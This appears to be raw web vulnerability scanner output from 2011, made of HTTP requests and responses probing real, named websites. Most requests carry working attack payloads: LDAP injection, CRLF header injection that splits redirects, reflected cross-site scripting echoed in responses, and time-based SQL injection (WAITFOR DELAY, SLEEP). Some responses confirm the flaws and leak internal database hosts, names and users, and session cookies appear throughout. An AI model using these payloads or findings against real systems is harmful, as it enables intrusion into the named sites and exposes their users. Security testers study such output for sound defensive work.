Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:27 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=fbdf302905adb668a06e8b9c3ffaa68f; expires=Sun, 08 May 2011 19:36:27 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:27 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html

GET /professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=7cce339ef57f7f63)(sn=* HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=K
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.6.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=0; PortletId=0; SiteId=1837; ZoneId=0

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:13:21 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43380

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
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
...[SNIP]...

GET /professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=7cce339ef57f7f63)!(sn=* HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=K
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.6.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=0; PortletId=0; SiteId=1837; ZoneId=0

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:13:26 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43390

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
zBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Iv7vX/M3nf2mv+5vuL27++n+wd7epzv3ftPZb/NrneOfX+vX5n+pwW/zu3m/85e/gbT4tdyv+tVv82v9gl//J4ummJT5HJ/+ZvTBrzOv8/Nf93/8Nedtu3p09+7V1dV4vl621XI8rRZ3f/93qzpvmhfZ5emsaKv67rtl/kW+XL/M6nacNat3v8ervF3Xy6/q8jNA+N3vZb/73jn9L4RDH6zq6pwgFdUyKxv6e70sPj9hEL/7vfN3q9dvfvd7s5dem1d5sy5bavnp86xpX2SLnBo8mE7ze/ce5uf3H5w/OP/03p3fdatZ/sJFNcs/ywm/X5gv2/r6s/P9WbY/zc63z6fT/e39LJttZ7Ppg+2DnWk2IQi79/I90OM3+21+nV/wazf19Nf9Xe4Wi4vfn/BcVMu7vzeP+O6CRokxjy+K81/wa2dl++v+ht/D3ymG//3ZjGn6653/pr/1r/lrzBx9f5dfY86Af63f5df8df/MX+v2NH29ngDu/2tIKoScHew8eDjdybZ3p7uz7f1doubBp9N72+eT3b0HD+49vHeeZb8QhPosn97fe5AdTInk93NqeW9KLWez7U9nxLaz6fm9h3tTmadsNlPa/y6/1iDhX5brBoT/XX7tX/c3/t7xbJYqfUD3X+s3+21+PaLu7x4n7rQsgHveVOt6mje/4Ndrs/oib2e/4NedllnT5FYOTqplm79r9/6sX+fX+DV/jV/j1/i/6cFPPL8OfvmdX183bb4Yn1RlmU9bImAzfl3VbT57XjTtr49mb/Pr5te7zMp13vy6v39T/CD/9S/zGqT+DQiTVVbn9a9PTdD8x7gVfvt1f91f49f4tX/tX/s3+A1+xwj8E33td9/Y9ye/lwD9eHOrnzRd/tivRcjyP+b5sV8b//w69E/ym5nPfx18tgkpEOU31D/OlufVr51q48/LapKVxQ8ytDfN0eLHfl3ARTe3GxB6SBr78a+9eQp+DM1/HXRxIyI83KtieW/v+cnZ019/SlKwrvNfb/H7L0kGfo1f49f8DX4DEAP///Uwsb9uvtz+6vVvyJzym/yCX/f1tFrlv+GdX/zt9WSS1TMCvFwSOuPv5pPxV2fjZyfcYJRGvh+lPykc8dmn4/vj3Qfj3Z29nYej9EQw+GyZr9s6K0fpy/WkLKZEhzfV25xanz/YvZ89eLhzns+y7GDv1/kFv+6boi3zX/c3O2H+Tl9ZBv913hAX578gOV1OSby+3S7K+e/y6/2Iq82gf8TVHa7+Bb/ZyTyfvv1y3X7V5DWMQP4LfuyseZqfZwTgYvZr/Tr//7dr57NJ9um9ncn2Tr73YHv//N7O9gG9sX1wfvBwd/fheT6dnf9c2bXfecCuiVL5XX6d2e/y6xoj9iM5/5Gc32C9fpdf/zf85Nf5dX6X3+DX/fXVKv0uP5b/LsmPLMSPOGeYc36X3zD/XX4jMgS//v//DcGnk/vTg/v5w+1P93fube/v3cu2D/L8YPve3sFs8unk4MHD/Qc/V4bgdxk0BG02bdfNj0zBjwT6dgLdMQXJibBQ+lXzI2vwI+a5pTX4NX8zVmu/6W/62yQ/4pcf8csmfvkFv/Fx2eb1MmtzJCd+3d/622y+0l+YfrcoyyJbNOnz5y9/wW9wtsgucvICft3ru+dFmTd3+QNop7oq784m+9l+/imCtJ3p9n6+u0NZ3Afn2/fOD7KHu+ezT/Pz3bsP9g/uTQ4e3tvO9x8cbO/TGxTE5bPt8/2HGbV6MDuYnt99SWaX7D0PUPq4W1YXFdtfYm2yuD/i6l/jR1x9kxb8jQcY+Xf5TX7dPzDGwFm+l98/2Jtt75Azub3/4Hxn++HBw0/Jzdw5eHBv7/4+OZQfxMC//6oulq1j484ykKwR/Tbn7m/fi7c+vTr5vx55BMVlHrr61hl9FndGAwf9rnPPfw8455/5rvnrPKunc/ZZf13T1Y9c1x/J3fu5rr+xz1LkvXY/+JEv+yNuuoUv+2v7KvE3/W1+o/+3Ms2taPwjpvnZZ5rfOP9dfhOwDkyirJA4w9nJjlmT+ShuMmnR5bKghbuetXwtX2BMP0rt/Ig5b8ecHfv4Yy9r+FbEXmQbvT9+ZBd/xEW3sIu/3o/sIp4
...[SNIP]...

GET /46fd5%0d%0a3cd3e079b91/scmag.hmktus/sc.other;log=0;spr=0;sid=122;cc=us;pos=1501;tile=1;dcopt=ist;sz=640x480;ord=28877081349492070? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,1676624/667470/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/46fd5
3cd3e079b91/scmag.hmktus/sc.other;log=0;spr=0;sid=122;cc=us;pos=1501;tile=1;dcopt=ist;sz=640x480;ord=28877081349492070:
Date: Fri, 06 May 2011 21:52:20 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

GET /activity?_o=62795&_t=cm_bk&redirect=65753%0d%0abe7cf5083b HTTP/1.1
Host: d.xp1.ru4.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=80312807C795402E93C5016D2A2A3E1B&phint=ord=7169916033744.81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X1ID=AM-00000000030620452; O1807966=16; P1807966=c3N2X2MyfFl8MTMwNDM2MDM2MHxzc3ZfYnxjMnwxMzA0MzYwMzYwfHNzdl8xfDI4NTQ0NTQ3M3wxMzA0MzYwMzYwfA==

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 06 May 2011 22:33:42 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Pragma: no-cache
Set-cookie: O62795=0; domain=.ru4.com; path=/; expires=Mon, 01-Jan-1970 12:00:00 GMT
Location: http://65753
be7cf5083b
Content-length: 0
Connection: close

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=c78b2%0d%0ac733422f1d&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 302 Moved Temporarily
Date: Fri, 06 May 2011 23:00:19 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=7FF0975F91689439896F745E92A5D2C0; Path=/
Location: http://learn.bridgefront.com/forgetpassword.jsp?status=error&result=0&sendpasswordof=null&login=c78b2
c733422f1d&email=3
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

GET /ag.asp?cc=40985<script>alert(1)</script>52a30286c50&source=js&ord=5429500 HTTP/1.1
Host: adsfac.us
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: FSDLK001=pctl=311878&fpt=0%2C311878%2C&pct%5Fdate=4131&FL311878=1&pctm=1&FM34631=1&pctc=34631&FQ=1; FSESE002=pctl=311033&fpt=0%2C311033%2C&pct%5Fdate=4133&FL311033=1&pctm=1&FM34983=1&pctc=34983&FQ=1; FSQTS032=pctl=304931&fpt=0%2C304931%2C&pct%5Fdate=4139&pctm=1&FL304931=1&FM36289=1&pctc=36289&FQ=1

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Length: 293
Content-Type: text/html
Expires: Sat, 07 May 2011 01:49:21 GMT
Server: Microsoft-IIS/7.0
Set-Cookie: FS40985%3Cscript%3Ealert%281%29%3C%2Fscript%3E52a30286c500=uid=101126131; expires=Sun, 08-May-2011 01:50:20 GMT; path=/
Set-Cookie: FS40985%3Cscript%3Ealert%281%29%3C%2Fscript%3E52a30286c50=pctl=0&fpt=0%2C0%2C&pct%5Fdate=4143&pctm=1&FM1=1&pctc=1&FL0=1&FQ=1; expires=Tue, 07-Jun-2011 01:50:20 GMT; path=/
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Date: Sat, 07 May 2011 01:50:20 GMT
Connection: close

if (typeof(fd_clk) == 'undefined') {var fd_clk = 'http://ADSFAC.US/link.asp?cc=40985<script>alert(1)</script>52a30286c50.0.0&CreativeID=1';}document.write('<a href="'+fd_clk+'&CreativeID=1" target="_blank">
...[SNIP]...

GET /appshandler.php?ac=1%0096ee3<script>alert(1)</script>d1ed8df0664&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1
Host: apps.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 600

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT SQL_CACHE t1.site_application_id FROM site_application t1, application t3 WHERE t1.application_id = t3.application_id AND t1.site_ID = 1.96ee3<script>alert(1)</script>d1ed8df0664 AND t1.site_application_isactive = 1 ORDER BY t3.application_order, t1.site_application_id<br>
...[SNIP]...

GET /appshandler.php?ac=2546f84ef<script>alert(1)</script>6416a2fdb7e&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: apps.sapha.com
Cookie: sapha_tst_2546=TRUE

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:54:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 682

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT SQL_CACHE t1.site_application_id FROM site_application t1, application t3 WHERE t1.application_id = t3.application_id AND t1.site_ID = 2546f84ef<script>alert(1)</script>6416a2fdb7e AND t1.site_application_isactive = 1 ORDER BY t3.application_order, t1.site_application_id<br>
...[SNIP]...

GET /h/lbmc?Portal=lbmc&Target=ds%2FqueryPost.flow&Template=ds%2FphoneModeRedemption.tmpl&JavaScript=true&Form=lbmcSmartPage&Name_Full=&CompanyName=21525"><a>48f3eb756f8&Question= HTTP/1.1
Host: broker.gotoassist.com
Connection: keep-alive
Referer: http://www.gotoassist.com/ph/lbmc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:14 GMT
Server: Apache
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: dtsSession=SessionInfo%3D237919369%253A7FA06EBD517AE37; path=/
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 9094

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>GoToAssist: live online customer support</title>

<script language="JavaScript">
<!--
function empty
...[SNIP]...
<input type=text size=18 style="font: normal 10 verdana,arial,helvetica;width:156;height:17;" name="CompanyName" value="21525"><a>48f3eb756f8">
...[SNIP]...

GET /feeds/analyticsfeed.ashx?page=http%3A//www.scout.com/2/a.z%3Fcfg%3D%2527%3BWAITFOR%2520DELAY%2520%25270%3A0%3A25%2527--%26fromprefetch%3D1%26p%3D26%26s%3D143&format=json&callback=$.analytics.report301e2<script>alert(1)</script>4043fa130e3 HTTP/1.1
Host: cdn-cms.scout.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/2/a.z?cfg=%27;WAITFOR%20DELAY%20%270:0:25%27--&fromprefetch=1&p=26&s=143
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=202704078.454375544.1303509265.1303516031.1303522301.3; SessionBrandId=0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Server: Static1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: private
Content-Type: application/x-javascript; charset=utf-8
Vary: Accept-Encoding
Date: Fri, 06 May 2011 19:29:14 GMT
Connection: close
Akamai: True
Content-Length: 347

$.analytics.report301e2<script>alert(1)</script>4043fa130e3({"network":"Scout","site":"www","sports":[],"categories":[],"pagetype":"ErrorMaintenance","pagesubtype":"","author":"","dateoverride":{"rfc822":"","year":"","month":"","day":"","hour":"","minute":"","
...[SNIP]...

GET /adfeed.ashx?s=143&format=json&callback=$.showAd.cacheAdCodes10cef<script>alert(1)</script>d3df570dff5 HTTP/1.1
Host: cdn-forums.scout.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/2/a.z?cfg=%27;WAITFOR%20DELAY%20%270:0:25%27--&fromprefetch=1&p=26&s=143
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=202704078.454375544.1303509265.1303516031.1303522301.3; SessionBrandId=0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Server: Mbrd8
ETag:
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Website-Assembly-Version: 2.21.0.0
Cache-Control: private
Content-Type: application/x-javascript; charset=utf-8
Vary: Accept-Encoding
Date: Fri, 06 May 2011 19:29:15 GMT
Connection: close
Akamai: True
Content-Length: 335

$.showAd.cacheAdCodes10cef<script>alert(1)</script>d3df570dff5({"ads":[{"code":"SPTSN1","height":90,"type":"DISPLAY","width":728},{"code":"SPTSN3","height":600,"type":"DISPLAY","width":160},{"code":"SPTSHP","height":250,"type":"DISPLAY","width":300},{"code":"SPTS
...[SNIP]...

GET /engine.php?ac=-111'%20OR%20SLEEP(25)=0%20LIMIT%201--8870a<script>alert(1)</script>5c8aaf5ef92 HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 494

